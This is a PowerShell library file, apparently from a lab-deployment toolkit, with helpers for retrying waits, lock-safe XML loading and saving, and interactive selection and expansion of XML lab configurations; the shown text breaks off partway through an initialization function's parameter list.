function global:Wait-Periodically ([int] $maxTrialCount, [int] $sleepSec, [string] $sleepMsg, [scriptblock] $scriptBlockWhichReturnsTrueToStop, [switch] $sleepMsgOnlyIfNotFinishedImmediatelly, [switch] $returnResults, [int] $randomizeSleepPercent = 0)
{
  #DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  # Note: GENERIC TRIAL/WAIT HEADER
  # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  [int] $trialCount = $maxTrialCount
  [DateTime] $startDT = [DateTime]::Now
  [int] $maxSeconds = $maxTrialCount * $sleepSec
  [bool] $immediateFinish = $false
  
  DBGIF $MyInvocation.MyCommand.Name { ($randomizeSleepPercent -lt 0) -or ($randomizeSleepPercent -gt 100) }

  if (-not $sleepMsgOnlyIfNotFinishedImmediatelly) {

    DBG ('WAIT: {0} (max {1}:{2:D2} min.)' -f $sleepMsg, ([int] ($maxSeconds / 60)), ($maxSeconds % 60))
  }

  do {

    if ($trialCount -lt $maxTrialCount) {

      [double] $sleepFactor = (100 - ([double] $randomizeSleepPercent)) / 100
      [int] $sleepSecActual = Get-Random -Minimum ([int] ($sleepSec * $sleepFactor)) -Maximum ($sleepSec + 1)

      DBG ('TRIAL {0}/{1}: {2}. Giving it {3}sec. to change' -f (($maxTrialCount - $trialCount) + 1), $maxTrialCount, $sleepMsg, $sleepSecActual)
      Start-Sleep $sleepSecActual
    }

    $trialCount --
  # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
  # Note: GENERIC TRIAL/WAIT HEADER
  # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

    DBGSTART
    $scriptBlockResAny = $null
    $scriptBlockResAny = Invoke-Command $scriptBlockWhichReturnsTrueToStop
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    DBGIF $MyInvocation.MyCommand.Name { $scriptBlockResAny -isnot 'bool' }
    [bool] $scriptBlockRes = $scriptBlockResAny

  # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  # Note: SEMI-GENERIC TRIAL/WAIT FOOTER
  # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  } while ((-not $scriptBlockRes) -and ($trialCount -gt 0))

  [DateTime] $endDT = [DateTime]::Now
  [double] $overallSec = ($endDT - $startDT).TotalMilliseconds / 1000

  if ($trialCount -lt ($maxTrialCount -1)) {

    $immediateFinish = $false
    DBG ('WAIT: Finished after: {0}x = max {1}sec | overall = {2:N1}sec' -f ($maxTrialCount - $trialCount), (($maxTrialCount - $trialCount - 1) * $sleepSec), $overallSec)
    
  } else {

    $immediateFinish = $true
    if (-not $sleepMsgOnlyIfNotFinishedImmediatelly) {

      DBG ('WAIT: Finished immediatelly: overall = {0:N1}sec' -f $overallSec)
    }
  }

  DBGIF ('UNFINISHED: {0}. After: {1}x = {2}sec | overall = {3:N1}sec' -f $sleepMsg, ($maxTrialCount - $trialCount), (($maxTrialCount - $trialCount - 1) * $sleepSec), $overallSec) { $trialCount -le 0 }
  # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
  # Note: SEMI-GENERIC TRIAL/WAIT FOOTER
  # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

  if ($returnResults) {

    $waitResults = New-Object PSObject
    Add-Member -Input $waitResults -MemberType NoteProperty -Name unfinished -Value ($trialCount -le 0)
    Add-Member -Input $waitResults -MemberType NoteProperty -Name finishedImmediatelly -Value $immediateFinish
    Add-Member -Input $waitResults -MemberType NoteProperty -Name status -Value $scriptBlockRes
    Add-Member -Input $waitResults -MemberType NoteProperty -Name seconds -Value $overallSec

    DBG ('Returning wait results: unfinished = {0} | status = {1}' -f $waitResults.unfinished, $waitResults.status)
    return $waitResults
  }
}


function global:Load-XmlSafe ([string] $xmlFile)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $xmlFile }
  DBGIF $MyInvocation.MyCommand.Name { -not (Test-Path -LiteralPath $xmlFile) }

  [System.Xml.XmlDocument] $xmlDocument = $null


  if ((Is-ValidString $xmlFile) -and (Test-Path -LiteralPath $xmlFile)) {

    DBG ('Loading XML from a file: {0}' -f $xmlFile)

    [scriptblock] $block = {

      [bool] $reLoad = $false
      [System.IO.FileStream] $xmlLoadFileStream = $null
      
      # Note: use [ref] to assign values to external local variables
      #       although the external local variables come inside the Invoke-Command
      #       script, as soon as you assign their value directly inside the scriptblock
      #       they are different variable
      ([ref] $xmlDocument).Value = $null


      DBGSTART

        # Note: motivation here is that the .Load() and .Save() methods
        #       of XmlDocument class are not opening the xml file exclusively
        #       and thus are prone to concurence issues when a thread
        #       writes the file while another thread tries to read the file
        #       symultaneously. So in order to serialize the accesses
        #       we have to open the file in no-sharing mode manually
        #       and if the failure occurs, we have to retry after some seconds
        #       to load if possible at all
        $xmlLoadFileStream = New-Object System.IO.FileStream $xmlFile, ([System.IO.FileMode]::Open), ([System.IO.FileAccess]::Read), ([System.IO.FileShare]::None)

        if (Is-NonNull $xmlLoadFileStream) {

          ([ref] $xmlDocument).Value = New-Object System.Xml.XmlDocument
          $xmlDocument.Load($xmlLoadFileStream)
        }

        if ($error.Count -gt 0) {
         
          $reLoad = $true
        }    

      DBGER $MyInvocation.MyCommand.Name $error 'Recoverable error' $true
      DBGEND

      if (Is-NonNull $xmlLoadFileStream) {

        DBGSTART
        $xmlLoadFileStream.Close()
        $xmlLoadFileStream.Dispose()
        $xmlLoadFileStream = $null
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND
      }

      return (-not $reload)
    }


    Wait-Periodically -maxTrialCount 7 -sleepSec 3 -sleepMsg 'Some problem prevented loading XML' -scriptBlockWhichReturnsTrueToStop $block -sleepMsgOnlyIfNotFinishedImmediatelly
  }


  DBGIF $MyInvocation.MyCommand.Name { Is-Null $xmlDocument }

  return $xmlDocument
}


function global:Save-XmlSafe ([XML] $xmlDocument, [string] $xmlFile, [bool] $doNotCheckRootDir = $false)
{

  DBGIF $MyInvocation.MyCommand.Name { Is-Null $xmlDocument }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $xmlFile }

  if ((Is-NonNull $xmlDocument) -and (Is-ValidString $xmlFile)) {

    #$global:xmlFullConfig.Save("$global:rootDir\$global:libCommonDefaultXmlConfig")

    DBG ('Saving XML to a file: {0}' -f $xmlFile)

    if (Test-Path -LiteralPath $xmlFile) {

      DBG ('XML file already exists. Overwrite: {0:s}' -f (Get-Item $xmlFile).LastWriteTime)
    }


    if (-not $doNotCheckRootDir) {

      # Note: this is lib-common.ps1 which MUST not write
      #       anywhere else than to the $global:rootDir
      Ensure-RootDirExists $xmlFile $true
    }


    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    # Note: GENERIC TRIAL HEADER
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    [int] $maxTrialCount = 7
    [int] $sleepSec = 3
    [string] $sleepMsg = 'Some problem prevented saving XML. Giving it {0}sec. to let any concurence issue resolve'
    [int] $trialCount = $maxTrialCount


    do {

      if ($trialCount -lt $maxTrialCount) {

        DBG ($sleepMsg -f $sleepSec)
        Start-Sleep $sleepSec
      }

      $trialCount --
    # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
    # Note: GENERIC TRIAL HEADER
    # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<


      [bool] $reSave = $false
      [System.IO.FileStream] $xmlSaveFileStream = $null


      DBGSTART

      # Note: motivation here is that the .Load() and .Save() methods
      #       of XmlDocument class are not opening the xml file exclusively
      #       and thus are prone to concurence issues when a thread
      #       writes the file while another thread tries to read the file
      #       symultaneously. So in order to serialize the accesses
      #       we have to open the file in no-sharing mode manually
      #       and if the failure occurs, we have to retry after some seconds
      #       to load if possible at all

      $xmlSaveFileStream = New-Object System.IO.FileStream $xmlFile, ([System.IO.FileMode]::Create), ([System.IO.FileAccess]::Write), ([System.IO.FileShare]::None)

      if (Is-NonNull $xmlSaveFileStream) {

        $xmlDocument.Save($xmlSaveFileStream)
      }

      if ($error.Count -gt 0) {
         
        $reSave = $true
      }    

      DBGER $MyInvocation.MyCommand.Name $error 'Recoverable error' $true
      DBGEND


      if (Is-NonNull $xmlSaveFileStream) {

        DBGSTART
        $xmlSaveFileStream.Close()
        $xmlSaveFileStream.Dispose()
        $xmlSaveFileStream = $null
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND
      }


    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    # Note: SEMI-GENERIC TRIAL FOOTER
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    } while ($reSave -and ($trialCount -gt 0))


    if ($trialCount -lt ($maxTrialCount -1)) {

      DBG ('Wait finished after: {0}x = {1}sec' -f ($maxTrialCount - $trialCount), (($maxTrialCount - $trialCount) * $sleepSec))
    }

    DBGIF $MyInvocation.MyCommand.Name { $trialCount -le 0 }
    # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
    # Note: SEMI-GENERIC TRIAL FOOTER
    # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
  }
}


function global:Ask-UserForPossibleXmlConfig ([System.Xml.XmlDocument] $wholeConfigDocument, [string] $defaultChoice)
{
  [string] $configNameSpecified = ''

  $possibleConfigs = $null
  $possibleConfigs = $wholeConfigDocument.SelectNodes("adlab//config") | Select-Object id, desc, @{ name = 'classDescription' ; exp = { $_.SelectSingleNode('ancestor-or-self::configClass').classDescription } }
      
<#    $i = 1
    $configMsg = ''
    $possibleConfigs | % {
      
      if (Is-ValidString $_.desc) {

        $configMsg += "{0} = {1} ({2})`r`n" -f $i, $_.id, $_.desc

      } else {

        $configMsg += "{0} = {1}`r`n" -f $i, $_.id
      }

      $i ++
    }

    do {
      
      DBGSTART
      [int] $selectedConfigId = Read-Host ("`r`nSelect configuration:`r`n`r`n{0}`r`n" -f $configMsg)
      DBGEND
        
    } while (($selectedConfigId -lt 1) -or ($selectedConfigId -gt (Get-CountSafe $possibleConfigs)))

    $configNameSpecified = $possibleConfigs[([int] $selectedConfigId) - 1].id
#>

  if ((Get-CountSafe $possibleConfigs) -gt 0) {

    [System.Collections.ArrayList] $possibleConfigsStr = @()
    $i = 1
    foreach ($onePossibleConfig in $possibleConfigs) {

      Add-AskerChoice $possibleConfigsStr $onePossibleConfig.id $i $onePossibleConfig.desc $onePossibleConfig.classDescription
      $i ++
    }

    $configNameSpecified = Ask-UserForValueWithChoices 'Select configuration' $possibleConfigsStr -default $defaultChoice
  }

  return $configNameSpecified
}


function global:Get-ConfigIdPath ([System.Xml.XmlElement] $customXmlConfig)
{
  [string] $configIdPath = ''

  if (Is-Null $customXmlConfig) {

    $customXmlConfig = $global:xmlConfig
  }

  DBGSTART
  $customXmlConfig.SelectNodes('ancestor-or-self::*[@id]') | % { $configIdPath = (($configIdPath, $_.id) -join '/').Trim('/') } 
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND
  
  return $configIdPath
}


function global:LoadExpand-XmlConfig (

    [string] $inXML,
    [string] $expandedXMLforReuse,
    [switch] $attendedOperation,

    [switch] $copyConfig,
    [switch] $reuseExpandedConfig,
    [switch] $defaultConfig,
    [switch] $askForConfig,
    [string] $chooseConfig,
    [string] $stage,
    [string[]] $rpOptions,

    [ref] $refXmlConfig,
    [ref] $refFullXmlConfig,
    [ref] $refConfigScheme

    )
{
  [bool] $okResult = $false

  [System.Xml.XmlDocument] $outXmlFullConfig = $null
  [System.Xml.XmlElement] $outXmlConfig = $null
  [string] $outConfigScheme = [string]::Empty

  [bool] $askerAutoDefault = $false
  
  
  DBG ('Lib-Common: Loading XMLConfig...')

  #if ((Has-Argument $args copyConfig) -and ($global:libCommonParentDir -ne $global:rootDir)) {
  DBGIF $MyInvocation.MyCommand.Name { $copyConfig -and ($global:libCommonParentDir -eq $global:rootDir) }
  if (($copyConfig) -and ($global:libCommonParentDir -ne $global:rootDir)) {

    $myPossibleInXml = Join-Path $global:libCommonParentDir $global:libCommonDefaultXmlConfig
    
    if (($myPossibleInXml -ne $inXML) -and (Test-Path $myPossibleInXml)) {

      DBG ('User requested to copy XMLConfig from installation directory to rootDir. Copying.')
      DBG ('Copy from: {0}' -f $myPossibleInXml)
      DBG ('Copy to: {0}' -f $inXML)

      Ensure-RootDirExists $inXML $true
      
      DBGSTART
      Copy-Item $myPossibleInXml $inXML -Force
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
    }
  }

  DBG ('XMLConfig: {0}' -f $inXML)
  DBGSTART
  DBG ('XMLConfig file exists: {0} | {1}' -f (Test-Path $inXML), (Get-Item $inXML).LastWriteTime)
  DBGEND
 
  $doNotExpand = $false
  #$outXML = Get-DataFileApp 'userParams-expanded' $null '.xml'

  #if ((-not (Has-Argument $args chooseConfig)) -and (Test-Path $expandedXMLforReuse)) {
  if ((($reuseExpandedConfig) -or ($defaultConfig)) -and (Test-Path $expandedXMLforReuse)) {

    DBG ('Expanded XMLConfig: {0} | forceReuse = {1}' -f $expandedXMLforReuse, $reuseExpandedConfig)  
    DBG ('Expanded XMLConfig exists: {0}' -f (Get-Item $expandedXMLforReuse).LastWriteTime)

    if (Test-Path -Literal $inXML) {

      DBGIF 'Expanded XMLConfig might be expired' { ((Get-Item $inXML).LastWriteTime -ge (Get-Item $expandedXMLforReuse).LastWriteTime) }

      DBG ('Valid and already expanded XMLConfig exists. Loading.')
      $inXML = $expandedXMLforReuse
      $doNotExpand = $true
    }
  }
  

  DBG ('Load the XMLConfig into memory')
  DBGSTART
  # Note: must do it safe to prevent cases such as x86/x64 powershells
  #       being started in parallel on 64bit machines
  #$outXmlFullConfig = [xml] (cat $inXML)
  $outXmlFullConfig = Load-XmlSafe $inXML
  DBGER "Lib-Common: Loading XMLConfig: " $error
  DBGEND

  if ((Is-Null $outXmlFullConfig) -or (Is-Null $outXmlFullConfig.adlab)) { 
  
    DBG 'Error loading XMLConfig.'  $global:assertColor
    DBG 'You can use the -noConfig parameter to run without config' $global:assertColor
    DBG 'Alternatively you can use the -copyConfig parameter to let the XML file be copied to -rootDir' $global:assertColor
    DBG 'Exiting, initialization failed.' $global:assertColor

    $okResult = $false
    
  } else {

    #if (Has-Argument $args chooseConfig) {
    if (Is-ValidString $chooseConfig) {

      #$configNameSpecified = Get-ArgumentValue $args chooseConfig
      $configNameSpecified = $chooseConfig
  
    #} elseif (Has-Argument $args askForConfig) {
    } elseif ($askForConfig) {

      $configNameSpecified = Ask-UserForPossibleXmlConfig $outXmlFullConfig
    }

    if (Is-ValidString $configNameSpecified) {

      DBG ('Configuration name selected: {0}' -f $configNameSpecified)
      $outXmlFullConfig.adlab.configScheme.id = [string] $configNameSpecified
      #Save-XmlConfig
    }


    $outConfigScheme = $outXmlFullConfig.adlab.configScheme.id
    
    DBGSTART
    $outXmlConfig = $outXmlFullConfig.SelectSingleNode('adlab//config[translate(@id,"ABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyz")="{0}"]' -f $outConfigScheme.ToLower())
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND

    if ((Is-ValidString $outXmlConfig.alias) -and (-not (Parse-BoolSafe $outXmlConfig.alreadyPopulated))) {
    
      $oneConfigAlias = $outXmlConfig.alias
  
      do { 

        [System.Xml.XmlElement] $foundXmlConfig = $outXmlFullConfig.SelectSingleNode('adlab//config[translate(@id,"ABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyz")="{0}"]' -f $oneConfigAlias.ToLower())

        DBGIF $MyInvocation.MyCommand.Name { Is-Null $foundXmlConfig }      
 
        if (Is-NonNull $foundXmlConfig) {

          DBG ('Alias config found. Cloning its target: {0} | subnodes = {1}' -f $foundXmlConfig.id, (Get-CountSafe $foundXmlConfig.ChildNodes))

          foreach ($oneFoundChildNode in $foundXmlConfig.ChildNodes) {
 
            DBGSTART        
            [void] $outXmlConfig.AppendChild($oneFoundChildNode.CloneNode($true))
            DBGER $MyInvocation.MyCommand.Name $error
            DBGEND
          }

          if (Is-ValidString $foundXmlConfig.alias) {
       
            $oneConfigAlias = $foundXmlConfig.alias
          }
        }

      } while (Is-ValidString $foundXmlConfig.alias)


      $outXmlConfig.SetAttribute('alreadyPopulated', 'true')
    }

 
    DBGIF $MyInvocation.MyCommand.Name { Is-Null $outXmlConfig }
    if (Is-NonNull $outXmlConfig) {

      if (Is-ValidString $outXmlConfig.staging) {

        [string] $stageSelected = $null
         
        if ($attendedOperation) {

          #Ask-UserForValueWithChoices ([string] $query, [System.Collections.ArrayList] $choices, [string] $defaultChoiceId, [bool] $allowCustomEntry = $false)
          $stageSelected = [string] (Ask-UserForValueWithChoices -query 'Which stage do you want to run' -choices (Split-MultiValue $outXmlConfig.staging) -defaultChoiceId $outXmlConfig.stage -autoDefault ([ref] $askerAutoDefault))
     
        } elseif (Is-ValidString $stage) {

          $stageSelected = $stage
        }

        if (Is-ValidString $stageSelected) {

          $outXmlConfig.stage = $stageSelected
        }
      }


      [System.Collections.ArrayList] $manualRunParams = $outXmlFullConfig.adlab.manualRunParam
  
      $manualRunParamsInConfig = $outXmlConfig.SelectNodes('.//manualRunParam')
      if ((Get-CountSafe $manualRunParamsInConfig) -gt 0) {

        foreach ($oneManualRunParamInConfig in $manualRunParamsInConfig) {

          [void] $manualRunParams.Add($oneManualRunParamInConfig)
        }
      }

      [bool] $includeFilePossible = $false
      [Collections.ArrayList] $manualRunParamsToProcess = @()

      foreach ($oneRunParam in $manualRunParams) {

        if (Is-ValidString $oneRunParam.condition) {

          [bool] $rpConditionResult = Invoke-Expression $oneRunParam.condition

          if (-not $rpConditionResult) {

            continue
          }
        }

        if ((Is-ValidString $oneRunParam.trigger) -and (-not (Has-MultiValue $outXmlConfig.manualRunParamTriggers $oneRunParam.trigger))) {

          continue
        }

        if (Is-ValidString $oneRunParam.include) {

          $includeFilePossible = $true
        }

        [void] $manualRunParamsToProcess.Add($oneRunParam)
      }

      [string] $includeFilePath = [string]::Empty
      if ($attendedOperation -and $includeFilePossible) {

        while ($true) {

          [string] $includeFileNameOrPath = Ask-UserForValue 'Would you like to specify an INCLUDE FILE' '' -autoDefault ([ref] $askerAutoDefault) -mustBeSpecified $false

          if (Is-EmptyString $includeFileNameOrPath) {

            break

          } else {

            $includeFileNameOrPath = $includeFileNameOrPath.Replace('.', '')

            if ($includeFileNameOrPath -notlike "*$global:configFileIncludeExt") { 

              $includeFileNameOrPath = [IO.Path]::ChangeExtension($includeFileNameOrPath, $global:configFileIncludeExt)
            }

            [string[]] $includeFiles = @()
            if ([IO.Path]::IsPathRooted($includeFileNameOrPath)) {

              $includeFiles = @($includeFileNameOrPath)

            } else {

              [string] $publicXmlIncludesDir = [string]::Empty
              [string] $tempLibCommonParent1 = Split-Path -Parent $global:libCommonParentDir

              if (Is-ValidString $tempLibCommonParent1) {
          
                [string] $tempLibCommonParent2 = Split-Path -Parent (Split-Path -Parent $global:libCommonParentDir)

                if (Is-ValidString $tempLibCommonParent2) {

                  $publicXmlIncludesDir = Join-Path $tempLibCommonParent2 PublicXmlIncludes
                }
              }

              $includeFiles = @(
                (Join-Path $publicXmlIncludesDir $includeFileNameOrPath),
                (Join-Path (Join-Path $global:libCommonParentDir XmlIncludes) $includeFileNameOrPath),
                (Join-Path (Split-Path -Qualifier $global:libCommonParentDir) $includeFileNameOrPath),
                (Join-Path $global:libCommonParentDir $includeFileNameOrPath),
                (Join-Path $env:SystemDrive $includeFileNameOrPath),
                (Join-Path (Join-Path $env:SystemDrive TEMP) $includeFileNameOrPath),
                (Join-Path $env:SystemDrive $includeFileNameOrPath)
              )
            }

            foreach ($oneIncludeFile in $includeFiles) {

              if ((Is-ValidString $oneIncludeFile) -and (Test-Path -LiteralPath $oneIncludeFile)) {

                $includeFilePath = $oneIncludeFile
                break
              }
            }
  
            if ((Is-ValidString $includeFilePath) -and (Test-Path -LiteralPath $includeFilePath)) {

              DBG ('Will use the config INCLUDE FILE found at: {0}' -f $includeFilePath)
              break

            } else {

              DBGIF ('The requested config INCLUDE FILE does not exist: {0}' -f $includeFileNameOrPath) { $true }
              $includeFilePath = [string]::Empty
            }
          }
        }
      }

      [hashtable] $runParamDefaultOverrides = @{}
      if (Is-ValidString $includeFilePath) {

        [string[]] $includeFileDefaultOverrides = cat $includeFilePath | % { $_.Trim() } | ? { Is-ValidString $_ } | ? { $_ -notlike '#*' } | select -Unique
        DBGIF ('Include file for run param overrides empty: {0}' -f $includeFilePath) { $includeFileDefaultOverrides.Length -lt 1 }

        foreach ($oneIncludeFileDefaultOverride in $includeFileDefaultOverrides) {

          [string[]] $oneIncludeSplit = @(([string]::Empty), ([string]::Empty))
          $oneIncludeSplit[0] = $oneIncludeFileDefaultOverride.SubString(0, $oneIncludeFileDefaultOverride.IndexOf(':')) | % { $_.Trim().Trim('"') }
          $oneIncludeSplit[1] = $oneIncludeFileDefaultOverride.SubString(($oneIncludeFileDefaultOverride.IndexOf(':') + 1)) | % { $_.Trim().Trim('"') }

          DBGIF ('Invalid run param default override: {0} | {1}' -f $oneIncludeFileDefaultOverride, ($oneIncludeSplit -join ',')) { $oneIncludeSplit.Length -ne 2 }
          [void] $runParamDefaultOverrides.Add($oneIncludeSplit[0], $oneIncludeSplit[1])
        }
      }

      foreach ($oneRunParam in $manualRunParamsToProcess) {

        $runParamsFound = $null

        if (Parse-BoolSafe $oneRunParam.local) {

          DBGSTART
          $runParamsFound = $oneRunParam.psbase.ParentNode.SelectNodes($oneRunParam.path)
          DBGER ("Invalid xPath query on xmlConfig: {0} | -->`r`n{1}" -f $oneRunParam.path, ($oneRunParam | Out-String)) $error
          DBGEND

        } else {

          DBGSTART
          $runParamsFound = $outXmlConfig.SelectNodes($oneRunParam.path)
          DBGER ("Invalid xPath query on xmlConfig: {0} | -->`r`n{1}" -f $oneRunParam.path, ($oneRunParam | Out-String)) $error
          DBGEND
        }

        if (Is-NonNull $runParamsFound) {

          foreach ($runParamFound in $runParamsFound) {

            if ($runParamFound -ne $null) {

              $runParamFoundRef = ''
              if (Is-ValidString $oneRunParam.ref) {

                $runParamFoundRef = $runParamFound.SelectSingleNode($oneRunParam.ref).'#text'
                DBGIF ('Did not found custom run param ref: {0}' -f $oneRunParam.ref) { Is-EmptyString $runParamFoundRef }

                if ($runParamFoundRef -like '$?*$') {

                  $runParamFoundRef = $runParamFoundRef.SubString(1, $runParamFoundRef.Length - 2)
                }
              }

              if (Is-NonNull $oneRunParam.preset) {

                foreach ($onePresetFoud in $oneRunParam.preset) {

                  [string] $onePresetVar = ''
                  if (Is-ValidString $onePresetFoud.var) {

                    $onePresetVar = $runParamFound.SelectSingleNode($onePresetFoud.var).'#text'
                    DBGIF ('Did not found custom run param ref: {0}' -f $onePresetFoud.var) { Is-EmptyString $onePresetVar }
                  }

                  [string] $oneOriginalValue = $runParamFound.'#text'

                  [bool] $onePresetConditionResult = $true
                  if (Is-ValidString $onePresetFoud.condition) {

                    DBGSTART
                    $onePresetConditionResult = Invoke-Expression ('{0}' -f $onePresetFoud.condition)
                    DBGER $MyInvocation.MyCommand.Name $error
                    DBGEND
                  }

                  if ($onePresetConditionResult) {

                    DBGSTART
                    $runParamFound.'#text' = [string] (Invoke-Expression ('{0}' -f $onePresetFoud.result))
                    DBGER $MyInvocation.MyCommand.Name $error
                    DBGEND
                  }
                }
              }

              DBGSTART
              $runParamFoundQuery = $oneRunParam.query -f $runParamFoundRef
              DBGER $MyInvocation.MyCommand.Name $error
              DBGEND

              $runParamFoundDefault = $runParamFound.'#text'

          
              $runParamFoundInclude = $oneRunParam.include -f $runParamFoundRef
              if ((Is-ValidString $runParamFoundInclude) -and (Contains-Safe $runParamDefaultOverrides.Keys $runParamFoundInclude)) {

                $runParamFoundDefault = $runParamDefaultOverrides[$runParamFoundInclude]
              }


              if ($attendedOperation) {

                if (($runParamFoundDefault -eq 'true') -or ($runParamFoundDefault -eq 'false')) {

                  $userRunParamValue = Ask-UserForBool $runParamFoundQuery $runParamFoundDefault -autoDefault ([ref] $askerAutoDefault)

                } elseif (Parse-BoolSafe $oneRunParam.number) {
        
                  $userRunParamValue = Ask-UserForInt $runParamFoundQuery $runParamFoundDefault -autoDefault ([ref] $askerAutoDefault)

                } else {

                  $userRunParamValue = Ask-UserForValue $runParamFoundQuery $runParamFoundDefault -autoDefault ([ref] $askerAutoDefault)
                }

                if (Is-ValidString($userRunParamValue)) {

                  $runParamFound.'#text' = $userRunParamValue.ToString()
                }

                #DBG ('Using run param: {0} = {1}' -f $oneRunParam.query, $runParamFoundDefault)

              } else {

                DBG ('Custom run param found: {0} = {1}' -f $runParamFoundQuery, $runParamFoundDefault)
              }
            }
          }
        }
      }


      DBG ('Running with XML config: {0} | {1}' -f (Get-ConfigIdPath $outXmlConfig), $outXmlConfig.desc)


      if (-not $doNotExpand) {
  
        # Note: this switch is there in order to be able to manually 
        #       expand only the COPY and UPDATE macros and create a copy
        #       of config manually later
        $noExpandValueMacros = $false
        DBGIF ('We are going to stop expansion before value macros') { $noExpandValueMacros }

        Expand-MacrosInDocument ([ref] $outXmlConfig) -noExpandValueMacros $noExpandValueMacros -stage $outXmlConfig.stage
      }

      $okResult = $true
    }
  }
  


  if (-not $okResult) {

    $outXmlFullConfig = $null
    $outXmlConfig = $null
    $outConfigScheme = [string]::Empty

  }

  if (Is-NonNull $refFullXmlConfig) {

    $refFullXmlConfig.Value = $outXmlFullConfig
  }

  if (Is-NonNull $refXmlConfig) {

    $refXmlConfig.Value = $outXmlConfig
  }

  if (Is-NonNull $refConfigScheme) {

    $refConfigScheme.Value = $outConfigScheme
  }

  return $okResult
}



# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
# ==========================================================
#
# GLOBAL INIT
#
function global:Init-LibCommon {

# Note: the following parameter list MUST be synchronized
#       with the script-level parameters as we just pass them
#       down untouched
[CmdletBinding(DefaultParameterSetName="noConfig")]             
param(
  [ValidateSet($true)]
  [Parameter(ParameterSetName="defaultConfig",
             Mandatory=$true)]                                                                                                                                                     [switch]   $defaultConfig,
                                                [ValidateSet($true)]
                                                [Parameter(ParameterSetName="noConfig",
                                                           Mandatory=$false)]                                                                                                      [switch]   $noConfig,  # must NOT set default to $true (PS3)
                                                                                         [ValidateNotNullOrEmpty()]
                                                                                         [Parameter(ParameterSetName="chooseConfig",
                                                                                                    Mandatory=$true)]                                                              [string]   $chooseConfig,
                                                                                                                                      [ValidateSet($true)]
                                                                                                                                      [Parameter(ParameterSetName="askForConfig",
                                                                                                                                                 Mandatory=$true)]                 [switch]   $askForConfig,

  [ValidateNotNullOrEmpty()]
  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [string]   $rootDir = (Join-Path $env:temp 'Sevecek-ADLAB'),

  [ValidateNotNullOrEmpty()]
  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [string]   $outFile,

  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [switch]   $noDbgCons,
  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [switch]   $noDbgFile,
  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [switch]   $noDbg,
  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [switch]   $noDbgInitialize,
  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [int]      $maxDbgFileSize = -1,
  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [switch]   $resetDbgFile,
                                                [Parameter(ParameterSetName="noConfig")]                                                                                           [switch]   $forceDbgFile,

  [Parameter(ParameterSetName="defaultConfig")]                                          [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [switch]   $copyConfig,
  [Parameter(ParameterSetName="defaultConfig")]                                          [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [string]   $stage,
                                                                                         [Parameter(ParameterSetName="chooseConfig")]                                              [switch]   $reuseExpandedConfig,
  [Parameter(ParameterSetName="defaultConfig")] [Parameter(ParameterSetName="noConfig")] [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [switch]   $mustBeAdministrators,
  [Parameter(ParameterSetName="defaultConfig")]                                          [Parameter(ParameterSetName="chooseConfig")] [Parameter(ParameterSetName="askForConfig")] [string[]] $rpOptions,
